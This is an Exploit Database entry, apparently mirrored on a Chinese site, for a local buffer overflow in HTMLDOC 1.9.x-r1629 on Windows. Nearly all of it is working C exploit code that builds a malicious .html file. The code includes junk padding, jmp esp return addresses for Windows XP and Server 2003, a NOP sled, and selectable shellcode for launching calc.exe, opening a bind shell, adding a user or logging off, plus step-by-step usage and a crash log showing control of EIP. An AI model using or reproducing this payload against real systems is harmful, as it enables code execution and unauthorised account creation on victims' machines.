HTMLDOC 1.9.x-r1629 (Windows x86) – ‘.html’ Local Buffer Overflow

• Exploit Database
• 109 阅读

• 作者： fl0 fl0w
  日期： 2010-01-11
• 类别：

  • local
  平台：

  • windows_x86
• 来源：https://www.exploit-db.com/exploits/11112/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386

  /*HTMLDOC 1.9.x-r1629 local .html buffer overflow(win32) exploit download: http://www.htmldoc.org/software.php?VERSION=1.9.x-r1629&FILE=htmldoc/snapshots/htmldoc-1.9.x-r1629.tar.bz2 [header] 19 bytes [junk] 268 bytes [EIP register] 4 bytes [NOP SLEED] 15 bytes [calc.exe shellcode] 338 bytes PLEASE READ: 1.Run the exploit and generate the .html file 2.After you install HTMLDOC and get a trial licence open it and click on ADD FILES 3.Select the generated file and then go to OUTPUT set the output path,and se the output format as you wish for example .PDF 4.Click GENERATE and calc.exe launches ,success! This exploit is for windows 32 bits only! NOTE: All return addresses are tested on my pc so they work,this is a .C program compiled with Devc++ Whell if u really want to know the bug: -snipp-- void set_page_size(const char *size){..... char units[255]; if (sscanf(size, "%fx%f%s", &width, &length, units) >= 2)...} -snipp-- Usage: E:\work\htmlDoc bof 100% exploit\24>htmldoc.exe 0 1 -snipp-- 0:001> g (644.518): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=60000000 ebx=00000000 ecx=7fffffff edx=00036161 esi=004516e0 edi=0012f114 eip=41414141 esp=0012d994 ebp=58585858 iopl=0 nv up ei pl nz na po nc cs=001bss=0023ds=0023es=0023fs=003bgs=0000 efl=00010202 41414141 ????? <------ next instruction pointer controled -snipp-- */ #include<stdio.h> #include<string.h>   #define HTMLFILE "htmlsploit.html" #define is_bigendian() ((*(char*)&i)==0) #define EIP_OFFSET 287 #define SHELL_OFFSET 307 char data[]= "\x3C\x21\x2D\x2D\x20\x4D\x45\x44\x49\x41\x20\x53\x49\x5A\x45\x20\x31\x78\x31" //header 19 bytes "\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58"//junk to cause exeption "\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58" "\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58" "\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58" "\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58" "\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58" "\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58" "\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58" "\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58" "\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58" "\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58" "\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58" "\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58" "\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58" "\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58" "\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58" "\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58" "\x41\x41\x41\x41" //EIP offset 287 bytes overwriten with jmp esp instruction from kernel32.dll module windows xp sp2 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" //NOP SLEED 16 bytes "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x49\x49\x49\x49\x49\x49"//calc.exe shellcode 338 bytes "\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x51\x5a\x37\x6a\x63" "\x58\x30\x42\x30\x50\x42\x6b\x42\x41\x73\x41\x42\x32\x42\x41\x32" "\x41\x41\x30\x41\x41\x58\x38\x42\x42\x50\x75\x38\x69\x69\x6c\x38" "\x68\x41\x54\x77\x70\x57\x70\x75\x50\x6e\x6b\x41\x55\x55\x6c\x6e" "\x6b\x43\x4c\x66\x65\x41\x68\x45\x51\x58\x6f\x4c\x4b\x50\x4f\x62" "\x38\x6e\x6b\x41\x4f\x31\x30\x36\x61\x4a\x4b\x41\x59\x6c\x4b\x74" "\x74\x6e\x6b\x44\x41\x4a\x4e\x47\x41\x4b\x70\x6f\x69\x6c\x6c\x4c" "\x44\x4b\x70\x43\x44\x76\x67\x4b\x71\x4a\x6a\x66\x6d\x66\x61\x39" "\x52\x5a\x4b\x4a\x54\x75\x6b\x62\x74\x56\x44\x73\x34\x41\x65\x4b" "\x55\x4e\x6b\x73\x6f\x54\x64\x53\x31\x6a\x4b\x35\x36\x6c\x4b\x64" "\x4c\x30\x4b\x6c\x4b\x73\x6f\x57\x6c\x75\x51\x6a\x4b\x6c\x4b\x37" "\x6c\x6c\x4b\x77\x71\x68\x6b\x4c\x49\x71\x4c\x51\x34\x43\x34\x6b" "\x73\x46\x51\x79\x50\x71\x74\x4c\x4b\x67\x30\x36\x50\x4c\x45\x4b" "\x70\x62\x58\x74\x4c\x6c\x4b\x53\x70\x56\x6c\x4e\x6b\x34\x30\x47" "\x6c\x4e\x4d\x6c\x4b\x70\x68\x37\x78\x58\x6b\x53\x39\x6c\x4b\x4f" "\x70\x6c\x70\x53\x30\x43\x30\x73\x30\x6c\x4b\x42\x48\x77\x4c\x61" "\x4f\x44\x71\x6b\x46\x73\x50\x72\x76\x6b\x39\x5a\x58\x6f\x73\x4f" "\x30\x73\x4b\x56\x30\x31\x78\x61\x6e\x6a\x78\x4b\x52\x74\x33\x55" "\x38\x4a\x38\x69\x6e\x6c\x4a\x54\x4e\x52\x77\x79\x6f\x79\x77\x42" "\x43\x50\x61\x70\x6c\x41\x73\x64\x6e\x51\x75\x52\x58\x31\x75\x57\x70\x63"; struct { char* shellname; char* shelltype; }shellc[]= { { "calc.exe", "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x49\x49\x49\x49\x49\x49"//calc.exe shellcode 338 bytes "\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x51\x5a\x37\x6a\x63" "\x58\x30\x42\x30\x50\x42\x6b\x42\x41\x73\x41\x42\x32\x42\x41\x32" "\x41\x41\x30\x41\x41\x58\x38\x42\x42\x50\x75\x38\x69\x69\x6c\x38" "\x68\x41\x54\x77\x70\x57\x70\x75\x50\x6e\x6b\x41\x55\x55\x6c\x6e" "\x6b\x43\x4c\x66\x65\x41\x68\x45\x51\x58\x6f\x4c\x4b\x50\x4f\x62" "\x38\x6e\x6b\x41\x4f\x31\x30\x36\x61\x4a\x4b\x41\x59\x6c\x4b\x74" "\x74\x6e\x6b\x44\x41\x4a\x4e\x47\x41\x4b\x70\x6f\x69\x6c\x6c\x4c" "\x44\x4b\x70\x43\x44\x76\x67\x4b\x71\x4a\x6a\x66\x6d\x66\x61\x39" "\x52\x5a\x4b\x4a\x54\x75\x6b\x62\x74\x56\x44\x73\x34\x41\x65\x4b" "\x55\x4e\x6b\x73\x6f\x54\x64\x53\x31\x6a\x4b\x35\x36\x6c\x4b\x64" "\x4c\x30\x4b\x6c\x4b\x73\x6f\x57\x6c\x75\x51\x6a\x4b\x6c\x4b\x37" "\x6c\x6c\x4b\x77\x71\x68\x6b\x4c\x49\x71\x4c\x51\x34\x43\x34\x6b" "\x73\x46\x51\x79\x50\x71\x74\x4c\x4b\x67\x30\x36\x50\x4c\x45\x4b" "\x70\x62\x58\x74\x4c\x6c\x4b\x53\x70\x56\x6c\x4e\x6b\x34\x30\x47" "\x6c\x4e\x4d\x6c\x4b\x70\x68\x37\x78\x58\x6b\x53\x39\x6c\x4b\x4f" "\x70\x6c\x70\x53\x30\x43\x30\x73\x30\x6c\x4b\x42\x48\x77\x4c\x61" "\x4f\x44\x71\x6b\x46\x73\x50\x72\x76\x6b\x39\x5a\x58\x6f\x73\x4f" "\x30\x73\x4b\x56\x30\x31\x78\x61\x6e\x6a\x78\x4b\x52\x74\x33\x55" "\x38\x4a\x38\x69\x6e\x6c\x4a\x54\x4e\x52\x77\x79\x6f\x79\x77\x42" "\x43\x50\x61\x70\x6c\x41\x73\x64\x6e\x51\x75\x52\x58\x31\x75\x57\x70\x63" }, { "bind shell", "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x49\x49\x49\x49\x49\x49"//bind shell "\x49\x48\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x51\x5a\x6a\x67" "\x58\x30\x41\x31\x50\x42\x41\x6b\x42\x41\x77\x32\x42\x42\x42\x32" "\x41\x41\x30\x41\x41\x58\x38\x42\x42\x50\x75\x5a\x49\x49\x6c\x72" "\x4a\x48\x6b\x32\x6d\x48\x68\x4c\x39\x39\x6f\x39\x6f\x69\x6f\x43" "\x50\x6e\x6b\x50\x6c\x66\x44\x41\x34\x4c\x4b\x73\x75\x47\x4c\x6c" "\x4b\x43\x4c\x57\x75\x30\x78\x75\x51\x7a\x4f\x4c\x4b\x42\x6f\x34" "\x58\x4e\x6b\x41\x4f\x37\x50\x46\x61\x7a\x4b\x42\x69\x4e\x6b\x46" "\x54\x6c\x4b\x63\x31\x6a\x4e\x50\x31\x49\x50\x4c\x59\x6e\x4c\x6f" "\x74\x49\x50\x32\x54\x74\x47\x6f\x31\x6b\x7a\x44\x4d\x46\x61\x6f" "\x32\x4a\x4b\x4a\x54\x77\x4b\x31\x44\x51\x34\x55\x78\x31\x65\x4b" "\x55\x6c\x4b\x33\x6f\x75\x74\x63\x31\x38\x6b\x35\x36\x4e\x6b\x44" "\x4c\x70\x4b\x4e\x6b\x43\x6f\x55\x4c\x36\x61\x78\x6b\x36\x63\x66" "\x4c\x4e\x6b\x6f\x79\x42\x4c\x31\x34\x57\x6c\x75\x31\x78\x43\x75" "\x61\x39\x4b\x50\x64\x4c\x4b\x57\x33\x34\x70\x4c\x4b\x77\x30\x64" "\x4c\x4c\x4b\x70\x70\x37\x6c\x4c\x6d\x6e\x6b\x61\x50\x74\x48\x31" "\x4e\x30\x68\x6c\x4e\x62\x6e\x44\x4e\x78\x6c\x72\x70\x39\x6f\x79" "\x46\x63\x56\x76\x33\x70\x66\x42\x48\x56\x53\x37\x42\x53\x58\x62" "\x57\x41\x63\x54\x72\x63\x6f\x51\x44\x59\x6f\x5a\x70\x50\x68\x7a" "\x6b\x6a\x4d\x4b\x4c\x47\x4b\x62\x70\x59\x6f\x6e\x36\x71\x4f\x6f" "\x79\x4d\x35\x43\x56\x6b\x31\x4a\x4d\x33\x38\x34\x42\x31\x45\x52" "\x4a\x55\x52\x79\x6f\x6e\x30\x73\x58\x6a\x79\x77\x79\x4c\x35\x4c" "\x6d\x52\x77\x39\x6f\x69\x46\x72\x73\x71\x43\x61\x43\x41\x43\x30" "\x53\x42\x63\x46\x33\x42\x63\x71\x43\x4b\x4f\x58\x50\x71\x76\x30" "\x68\x32\x31\x71\x4c\x65\x36\x41\x43\x6b\x39\x58\x61\x6a\x35\x63" "\x58\x59\x34\x76\x7a\x30\x70\x4b\x77\x61\x47\x49\x6f\x4a\x76\x71" "\x7a\x42\x30\x53\x61\x41\x45\x6b\x4f\x5a\x70\x53\x58\x6e\x44\x6c" "\x6d\x64\x6e\x6d\x39\x36\x37\x49\x6f\x4b\x66\x73\x63\x30\x55\x39" "\x6f\x4e\x30\x52\x48\x4d\x35\x41\x59\x6f\x76\x32\x69\x70\x57\x49" "\x6f\x4e\x36\x66\x30\x66\x34\x30\x54\x43\x65\x4b\x4f\x4a\x70\x4f" "\x63\x63\x58\x39\x77\x50\x79\x68\x46\x64\x39\x36\x37\x39\x6f\x4e" "\x36\x70\x55\x4b\x4f\x6e\x30\x63\x56\x31\x7a\x32\x44\x42\x46\x31" "\x78\x33\x53\x72\x4d\x4d\x59\x78\x65\x50\x6a\x52\x70\x70\x59\x57" "\x59\x38\x4c\x6b\x39\x5a\x47\x31\x7a\x72\x64\x4e\x69\x4b\x52\x70" "\x31\x49\x50\x78\x73\x4e\x4a\x4b\x4e\x71\x52\x56\x4d\x6b\x4e\x72" "\x62\x34\x6c\x4f\x63\x6e\x6d\x33\x4a\x77\x48\x4e\x4b\x6c\x6b\x4c" "\x6b\x55\x38\x32\x52\x6b\x4e\x58\x33\x56\x76\x59\x6f\x70\x75\x43" "\x74\x49\x6f\x7a\x76\x43\x6b\x36\x37\x70\x52\x36\x31\x31\x41\x31" "\x41\x52\x4a\x54\x41\x70\x51\x51\x41\x50\x55\x63\x61\x6b\x4f\x58" "\x50\x73\x58\x4c\x6d\x79\x49\x43\x35\x4a\x6e\x31\x43\x4b\x4f\x7a" "\x76\x71\x7a\x59\x6f\x4b\x4f\x64\x77\x6b\x4f\x38\x50\x4c\x4b\x50" "\x57\x79\x6c\x4c\x43\x5a\x64\x70\x64\x4b\x4f\x4e\x36\x33\x62\x79" "\x6f\x6e\x30\x41\x78\x4c\x30\x6f\x7a\x43\x34\x51\x4f\x50\x53\x79" "\x6f\x4a\x76\x4b\x4f\x4e\x30\x67" }, { "win32 adduser", "\xfc\xbb\xfb\xe2\x33\x0b\xeb\x0c\x5e\x56\x31\x1e\xad\x01\xc3\x85"//win32 adduser "\xc0\x75\xf7\xc3\xe8\xef\xff\xff\xff\x07\x0a\x77\x0b\xf7\xcb\xf3" "\x4e\xcb\x40\x7f\x54\x4b\x56\x6f\xdd\xe4\x40\xe4\xbd\xda\x71\x11" "\x08\x91\x46\x6e\x8a\x4b\x97\xb0\x14\x3f\x5c\xf0\x53\x38\x9c\x3b" "\x96\x47\xdc\x57\x5d\x7c\xb4\x83\x9a\xf7\xd1\x47\xfd\xd3\x18\xb3" "\x64\x90\x17\x08\xe2\xf9\x3b\x8f\x1f\x8e\x58\x04\xde\x7b\xe9\x46" "\xc5\x7f\x29\x47\xc5\x1b\x26\xe8\xf5\x66\xf8\x91\xf9\xe3\xb9\x6d" "\x89\x83\x25\xc3\x06\x0b\x5e\xf0\x10\x40\xde\xb6\x23\x56\xdf\x3d" "\x4b\x6a\x80\x70\x7a\xf2\x68\xfa\x7a\x71\x54\x87\x2a\x1d\xa5\xf2" "\xcf\x82\x2d\x9b\x2e\xb6\xa0\xcc\x31\x21\xdf\x9f\xa9\x83\x45\x18" "\x57\xfb\xaa\xbb\xb7\x95\xd1\x4f\x98\x1c\x69\xd5\xaa\xfe\xfa\x25" "\x7b\x8a\x24\x31\x4b\x42\x51\x9d\x84\xe3\xdd\x99\xfa\xc5\xfb\x01" "\x95\x6c\x70\x62\x05\x01\x1b\x03\xb9\xba\xa9\xac\x34\x34\x6e\x72" "\xd3\xd9\x07\x1a\x72\x52\xac\x90\xe5\xe0\x23\x27\x95\x28\xcb\xf7" "\x69\x5c\x13\xd7\xc8\xd8\x17\x27\xcb\xe0\x97\x27\xcb" }, { "log off", "\xfc\xbb\x25\x48\xf4\xb3\xeb\x0c\x5e\x56\x31\x1e\xad\x01\xc3\x85" //Log off "\xc0\x75\xf7\xc3\xe8\xef\xff\xff\xff\xd9\xa0\xb0\xb3\x21\x31\xb2" "\xf1\x1d\xba\xb8\xfc\x25\xbd\xaf\x74\x9a\xa5\xa4\xd4\x04\xd7\x51" "\xa3\xcf\xe3\x2e\x35\x21\x3a\xf1\xaf\x11\xb9\x31\xbb\x6e\x03\x7b" "\x49\x71\x41\x97\xa6\x4a\x11\x4c\x43\xd9\x7c\x07\x14\x05\x7e\xf3" "\xcd\xce\x8c\x48\x99\x8f\x90\x4f\x76\xa4\xb5\xc4\x89\x51\x4c\x86" "\xad\xa1\x8c\x06\x6e\xcd\x99\x29\x5e\x88\x5e\xd1\x92\x19\x1e\x2e" "\x20\x6d\x83\x83\xbd\xe5\xb3\x30\xc8\x7e\x43\x76\xcb\x80\x44\xfc" "\xa4\xbc\x1b\x33\xc3\xdc\xf5\xba\xd3\x9f\x3a\xc7\x73\xf7\x4a\xb2" "\x70\x58\xc3\x5b\x86\xec\x1d\x0b\x88\x17\x52\xdb\x03\xa3\xf1\x74" "\x9b\x25\xda\xa7\x0f\x99\x37\xcc\xef\xe9\x77\x2c\xf0\x09\x78\x2c" "\xf0" }, { NULL,NULL } };   char banner[]= { "**************************************************************\n" "HTMLDOC 1.8.27.1 local .html buffer overflow(win32) exploit*\n" " by fl0 fl0w *\n" "Usage: htmldoc.exe 0 3 *\n" " argv[1]=shellcode; argv[2]=retaddress *\n" "**************************************************************\n" }; //"\x7B\x46\x86\x7C"//Microsoft Windows Xp Pro sp3 JMP ESP Kernel32.dll0x7C86467B /*-------target structure-------------*/ struct { unsigned int eip; char *windows;}target[]= { //jmp esp addr { 0x7C874413,"Windows xp sp3" }, //jmp esp module kernel32.dll { 0x7C82385D,"Windows xp sp2" }, //jmp esp module kernel32.dll { 0x77D20738,"Windows server 2003 corporate sp0" }, //jmp esp module user32.dll { 0x77BCF856,"Windows server 2003 Enterprise sp0" },//call esp from msvcrt.dll { 0xdeadc0de,"Test b0f in debugger(results in a crash)" }, { NULL } }; /*--------prototypes-----------------*/ int cpy(char*,char*); void print(char*); int printTargets(); int fileBuild(char*,char*); int printShell(); int reverseInt(unsigned int); /*----extern variables--------------*/ char buffer[100000]; char fbuffer[100000]; int i; //unsigned int T; int S; int j; int T; /*--------main---------*/ int main(int argc,char* argv[]) { system("CLS"); cpy(banner,buffer); printf("%s",buffer); print("Starting exploit..."); printShell(); printTargets(); if (argc < 2) { print("Too few args"); exit(0); } memcpy(fbuffer, data, strlen(data)); j=atoi(argv[1]); switch(j) { case 0: memcpy(fbuffer+SHELL_OFFSET,shellc[0].shelltype,sizeof(shellc[0].shelltype)); break; case 1: memcpy(fbuffer+SHELL_OFFSET,shellc[1].shelltype,sizeof(shellc[1].shelltype)); break; case 2: memcpy(fbuffer+SHELL_OFFSET,shellc[2].shelltype,sizeof(shellc[2].shelltype)); break; case 3: memcpy(fbuffer+SHELL_OFFSET,shellc[3].shelltype,sizeof(shellc[3].shelltype)); memset(fbuffer+SHELL_OFFSET+strlen(shellc[3].shelltype),0x90,161); break; default: exit(0); }   T=atoi(argv[2]);   if (T==0) { reverseInt(target[T].eip); memcpy(fbuffer+EIP_OFFSET,&target[T].eip,4);} else if (T==1) { reverseInt(target[T].eip); memcpy(fbuffer+EIP_OFFSET,&target[T].eip,4); } else if (T==2) { reverseInt(target[T].eip); memcpy(fbuffer+EIP_OFFSET,&target[T].eip,4); } else if (T==3) { reverseInt(target[T].eip); memcpy(fbuffer+EIP_OFFSET,&target[T].eip,4); } else if (T==4) { reverseInt(target[T].eip); memcpy(fbuffer+EIP_OFFSET,&target[T].eip,4); }   fileBuild(HTMLFILE,fbuffer); printf("You are using the %s ret address\n",target[T].windows); printf("You are using the %s shellcode\n",shellc[j].shellname); print("Building file"); print("DONE! file is build");   getchar(); return 0; } int fileBuild(char* fname,char* b) { FILE *f=fopen(fname,"wb"); if (f==NULL) { print("File error\n"); return 0; } fprintf(f,"%s",b); fclose(f); free(b); return 0; } int printShell() { print("These are the available shellcodes"); for (S=0;S<4;S++) { printf("[^]%s %d\n",shellc[S].shellname,S); } print("The default will remain calc.exe"); } int cpy(char* source,char* dest) { int len; len=strlen(source); memcpy(dest,source,len+1); return len; }   void print(char* msg) { printf("\n[*]%s\n",msg); } int printTargets() { print("Chose your target:"); for (i=0;i<target[i].eip;i++) printf("[+]%s - 0x%x press %d\n",target[i].windows,target[i].eip,i); } /*-----handle endianness---------------*/ int reverseInt(unsigned int i) { unsigned char c1, c2, c3, c4;   if (is_bigendian()) { return i; }else{ c1=i&255; c2=(i>>8)&255; c3=(i>>16)&255; c4=(i>>24)&255; return ((int)c1<<24)+((int)c2<<16)+((int)c3<<8)+c4; } }